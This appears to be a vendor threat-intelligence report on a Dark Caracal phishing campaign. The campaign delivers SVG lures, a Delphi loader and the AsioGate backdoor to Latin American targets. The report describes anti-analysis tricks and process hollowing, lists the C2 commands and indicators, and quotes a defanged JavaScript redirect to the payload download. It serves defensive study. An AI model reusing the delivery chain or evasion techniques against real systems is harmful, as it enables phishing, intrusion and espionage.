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Dark Caracal delivers brand new Backdoor using SVG-
based techniques 

Report Id: APT-20260203 
Version: 1.0 (16.February.2026) 

Executive Summary 

Dark Caracal is a threat group that has conducted cyber-espionage campaigns since at least 2012, targeting 
individuals and organizations worldwide. Since 20211, the group has demonstrated an increased operational focus 
on Spanish-speaking countries, particularly in Latin America. 

Since mid-December, we have observed a new campaign targeting Venezuelan entities, including both individuals 
and organizations. The attack chain begins with financial-themed phishing emails, including invoices and 
quotations, impersonating Venezuelan companies across multiple sectors and industries, ultimately leading to the 
distribution of a new backdoor trojan we dubbed AsioGate. Notably, this campaign incorporates the use of SVG 
files as part of the phishing lure. Further analysis of the campaign revealed that components of the attack chain 
were reused to target entities and individuals in Chile and Brazil. 

This report in a nutshell: 

• Dark Caracal has adopted SVG files as part of its phishing delivery techniques; 

• The campaign targets Venezuelan individuals and entities using financial-themed phishing lures; 

• The attack ultimately deploys a new backdoor named AsioGate used for espionage. 

Techniques, Tactics and Procedures specific for this campaign: 

Infrastructure 
URL shortener services and servers are under group control 

Infection vector 
Phishing with malicious SVG files 

Implants 
Delphi Loader, AsioGate 

Victimology 
Venezuela, Chile, Brazil 

Kaspersky’s products detect this threat as HEUR:Trojan.Script.Generic, HEUR:Trojan.Win32.Inject.gen, 
HEUR:Trojan.Win32.AsioGate.gen. 

For more information, please contact: intelreports@kaspersky.com. 

This Report has been compiled by AO Kaspersky Lab (“Rightholder”) in accordance with the terms and conditions set forth in the Service Agreement with the 
User. Information in this Report is solely for informational purposes and cannot be used for other purposes or deemed as official proof. The Rightholder shall 
not be held liable to anyone in relation to this Report, including for any inappropriate or improper use of the Service by the User. Information in this Report is 
confidential and is intended solely for internal use by the User. No information in the Report may be shared with third parties unrelated to the User and/or 
made available to the public. 

  

 
1 Dark Caracal continues targeting Spanish-language countries 
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Technical Details 

Background 

Dark Caracal is a threat group that has been conducting cyber-espionage campaigns since at least 2012. Known 
for its multi-platform approach, the group targets individuals and organizations across various sectors, including 
government, military, utilities, finance, and manufacturing. 

The group’s procedure has remained largely consistent over the years. The infection chain typically begins with 
phishing emails delivering malicious attachments, most commonly Microsoft Word documents and PDF files, 
which embed VBA macros or JavaScript, or include links to compressed archives. These archives lead to a second-
stage infection, typically involving a dropper that ultimately deploys and injects a trojan for espionage, most 
notably Bandook and Poco RAT. 

Initial infection 

As a common technique employed by Dark Caracal, users are targeted with a phishing email pretending to be an 
invoice, in this case, from a Venezuelan company and containing a malicious SVG payload attached to it. We have 
identified at least ten Venezuelan company names that were impersonated in the subject lines of phishing emails. 
These include companies from various industries and of different sizes, including small and medium-sized 
enterprises. In addition, we observed the use of generic subject lines such as “Payment receipt”, “New 
quotation”, “Updated quotation”, among others. 

 

Fig. 1 Phishing email delivering a malicious SVG attachment disguised as an invoice 

The message contained in the email urges the user to check the invoice and confirm that the payment can be 
performed, thus directing the user to download the payload and execute it in order to do so. 

MD5 e2cb3da1a58661f8d0ce135c005fa4c8 

SHA1 b3a4b6861603b5bd5ba816506065bfb8743be290 

SHA256 fbb3ebaabea5d6dc15c8c6870e3bada5c4ab823540121eadd71b526f0e0718c3 

File type SVG Scalable Vector Graphics image 

File size 151.83 KB 

File name FACTURA_DE_PAGO_DISPONIBLE - KLK SISTEMAS   _13_113.svg 

Once the attached SVG is opened, usually done with the default browser on the victim’s machine, the script 
contained in the file is automatically executed upon loading (Figure 2). This SVG is blank in essence, but to show a 
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fake Adobe Acrobat Reader prompt (Fig. 3), it uses JavaScript and a big Base64 chunk of data contained in itself. 
By decoding this chunk of data, a dynamic document is created by parsing the decoded data as another SVG file. It 
then replaces its content with the content of that second SVG that has a prompt with the title “Documento 
Generado” (Document Generated) and urges the user to check the ZIP file being downloaded (Figure 3). The 
reason for not using the original disguise in the main SVG file may be intended to thwart detection or rules 
designed to prevent this type of attack, which are growing in popularity. 

 

Fig. 2 SVG containing embedded malicious JavaScript 

 

Fig. 3 Fake Adobe Acrobat Reader prompt 
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To kickstart the download of the malicious ZIP file (with the .rev extension, a WinRAR-generated recovery 
volume that holds redundant data enabling the reconstruction of missing parts in corrupted or incomplete multi-
part archives), the original SVG extracts a JavaScript code contained in the second SVG file: 
location.href='https://ja[.]cat/ksebe0';. The JavaScript code is then injected in the current DOM and 
the browser is redirected to a legitimate URL shortening service running at ja[.]cat, which, in turn, moves the 
traffic to the actual malicious URL delivering the ZIP: 

hxxps://getpdf[.]digital/secure_uploader/download_public.php?file=grei%2FFactura_Lista_para_
Descarga_2026-01-
07_v1.rev&token=aecb9a78562e388981edabfbaa3774699be413d2687b1b684ab1e21d743c2579 

We have also observed the use of the shortener service tiny[.]url as well as other malicious URLs delivering 
the final payload as visualizarpdf[.]online. 

The final URL will perform the download of the ZIP file Factura_Lista_para_Descarga_2026-01-07_v1.rev 
containing the file Factura_Lista_para_Descarga_2026-01-07_v1.exe which is a loader executable part of 
Dark Caracal latest MO. 

First stage: Loader 

MD5 977e946a8fe0e452e48b4ef4729f6999 

SHA1 2f7360252c63948d440ec55116047cb15ecc1f0a 

SHA256 632cd3499c1118d3c70e2bc57b46d446d7cdfe057e9863bc5f84d5de174ca120 

Link time 2026-01-06 11:34:20 UTC 

File type PE32 executable (GUI) Intel 80386, for MS Windows 

Compiler Borland Delphi (2006) 

File size 14.52 MB 

File name Factura_Lista_para_Descarga_2026-01-07_v1.exe 

Dark Caracal has been utilizing the same loader for years now, and this is not the exception, with features that try 
to thwart analysis or hide its actions. The main focus of this loader is to inject the payload that is stored on its 
resources into different processes. This payload is the final step for infection: AsioGate. 

The loader used in this campaign loads all the necessary APIs dynamically. All the DLL names and API functions are 
encrypted – hardcoded into the executable – using two algorithms that are not commonly used: IDEA-ECB for 
data symmetric encryption and Tiger-192 hashing to be used as a key for these encryption processes. These 
uncommon algorithms fit into how Dark Caracal has behaved in the past (e.g. choosing Twofish and Ripemd-160 
in previous campaigns). After the decryption of the strings (Figure 4), the function addresses are loaded into 
memory for future use (Figure 5). 
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Fig. 4 Decrypted strings 

 

Fig. 5 Dynamically resolved function addresses loaded into memory 

With the APIs loaded and ready to be used, the implant creates a new threat that is going to be a watcher and 
waits until the payload in the resources is decrypted. The decryption is done with the same algorithms mentioned 
previously but using a different key. A new thread is going to be created to decrypt the resource, and, once done, 
it toggles a global variable to inform the watcher that the decryption was completed successfully. The watcher 
then creates two consecutive processes of itself and performs Process Hollowing to inject the payload into them. 

It is important to denote that, in this whole process of injection, there are no signs of attempts of persistence of 
the loader. Once the main process – and child processes – are killed, the infection is stopped. 

Analysis deterrents 

There are methods in this loader that try to stop or deter either analysis or sandboxing. The use of dead code or 
functions is applied in almost every step of the loading process. Other techniques like large and costly loops are 
also used, along with the use of Sleep, in order to make time for the implant to waste time in case a sandbox is 
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being utilized. The implant executes many calls to functions whose results are ignored and make the code more 
difficult to read (i.e. StrToInt or IntToStr). 

 

Fig. 6 Unused function calls included to hinder code readability 

A more effective approach taken by this loader is the use of exceptions to obfuscate its control flow. In Delphi, as 
in other popular programming languages, the developer can make use of try/except blocks2 in order to handle 
any error raised from within a function. Dark Caracal’s Delphi loader “hides” portions of its code (especially during 
decompilation) into these exception handlers and forces that code to be executed by forcibly raising an exception. 
The exception is raised usually by misusing different functions (e.g. trying to convert a string to a number using 
StrToInt). As demonstrated in Figure 7, the green block is code that is executed once the StrToInt function, 
called on the main flow of execution, raises an exception. 

 

Fig. 7 Use of exception handling to obfuscate malicious code 

Second stage: AsioGate 

MD5 ecbefe0aaf2434cc933dd2b5630678b3 

SHA1 b92cd12311e8f965cf66541ebcbdf03a5e94a4cc 

SHA256 fbbae6566e3b60260373cdfd75ac1da4a20c6ee9e92025f1b5c149214a33e5d5 

Link time 2026-01-06 11:28:24 UTC 

File type PE32 executable (GUI) Intel 80386, for MS Windows 

Compiler Microsoft Visual C/C++ (19.33.31630) [LTCG/C] 

File size 19.25 MB 

 
2 Exceptions (Delphi) – RAD Studio 

https://docwiki.embarcadero.com/RADStudio/Sydney/en/Exceptions_(Delphi)
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After the injection stage, a new backdoor we dubbed AsioGate is deployed. The name reflects its reliance on the 
Asio C++ asynchronous networking library. The malware functions as an access component for command 
execution and the delivery of additional payloads. The implant is typically stripped from all symbols and presents 
some minor anti-analysis functionalities: “trash loops” (Figure 8) and calls to the Sleep function are all over the 
binary. 

 

Fig. 8 Example of two consecutive loops with no purpose other than thwarting analysis 

AsioGate samples used in this campaign are loaded into memory and packed with UPX (Ultimate Packer for 
Executables). As mentioned before and based on the code similarities and string comparisons, the implant was 
developed using the Asio C++ library; this is an evolution from previous implants utilized by Dark Caracal which 
were compiled using the Poco C++ library3. Once active, the backdoor connects to a command-and-control (C2) 
server and sends a preliminary message to the server containing information about the infected system. As the 
rest of the tools utilized by Dark Caracal, this backdoor uses a separator (^(1%) for the information being sent: 

• Backdoor ID or placeholder (IM2IA) 

• FNV hash of execution timestamp 

• Campaign start date (Y1-06-1) 

• Computer name 

• Domain name 

• OS name and version 

• Uptime 

 
3 The evolution of Dark Caracal tools: analysis of a campaign featuring Poco RAT 

https://global.ptsecurity.com/en/research/pt-esc-threat-intelligence/the-evolution-of-dark-caracal-tools-analysis-of-a-campaign-featuring-poco-rat/
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00000000  49 4d 32 49 41 5e 28 31 25 34 61 30 39 38 63 65  |IM2IA^(1%4a098ce| 
00000010  64 5e 28 31 25 59 31 2d 30 36 2d 31 5e 28 31 25  |d^(1%Y1-06-1^(1%| 
00000020  63 6f 6d 70 2d 31 5e 28 31 25 57 4f 52 4b 53 54  |comp-1^(1%WORKST| 
00000030  41 54 49 4f 4e 2d 31 5e 28 31 25 57 69 6e 64 6f  |ATION-1^(1%Windo| 
00000040  77 73 20 31 30 2e 30 20 28 42 75 69 6c 64 20 31  |ws 10.0 (Build 1| 
00000050  33 33 37 29 5e 28 31 25 31 64 20 37 68 20 32 30  |337)^(1%1d 7h 20| 
00000060  6d 20 35 31 73 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b  |m 51s...........| 

Communication 

All communication between the backdoor and the C2 is done via a TCP connection to the port and server 
hardcoded into the binary. The information sent from and to the C2 is also encrypted using AES-128 – with the 
key present in the binary – and encoded using Base64. 

Commands 

After sending the information about the infected machine back to the C2, the backdoor waits for its controller to 
receive commands. The backdoor currently accepts 4 commands from the C2, which are the following: 

CMD Action 

UUII^% 

Information about current execution: 

• Placeholder (SS11@^^); 

• Hash of execution timestamp; 

• Idle time; 

• Title of the focused window 

SEND_FILE Send file from victim’s computer to the C2 

d!dss#^% 

Three-step command: 

• Reconnect to the server on an alternative connection; 

• Retrieve an executable and saved to a specified path; 

• Execute it 

saass#^aa% Download file from an URL and execute it 

Only one of the commands presents a descriptive name, the others being randomized or obfuscated to obscure 
its purpose. 

Infrastructure 

The group uses link-shortening services like tiny[.]url and ja[.]cat to obfuscate the malicious URLs used to 
deliver the final payload. 

Domain IP First seen ASN 

getpdf[.]digital 88.223.87[.]49 2025-09-18 47583 

visualizarpdf[.]online 147.79.120[.]218 - 47583 

C2 is hardcoded into the AsioGate, along with the port 3919 (TCP) which is being used to communicate with the 
malicious server. This same address and port are reused when the implant is querying for a file through the 
command d!dss#^%. The C2 server is hosted on AlexHost, a platform used by the group in previous campaigns. 



https://global.ptsecurity.com/en/research/pt-esc-threat-intelligence/the-evolution-of-dark-caracal-tools-analysis-of-a-campaign-featuring-poco-rat/
https://research.checkpoint.com/2020/bandook-signed-delivered/























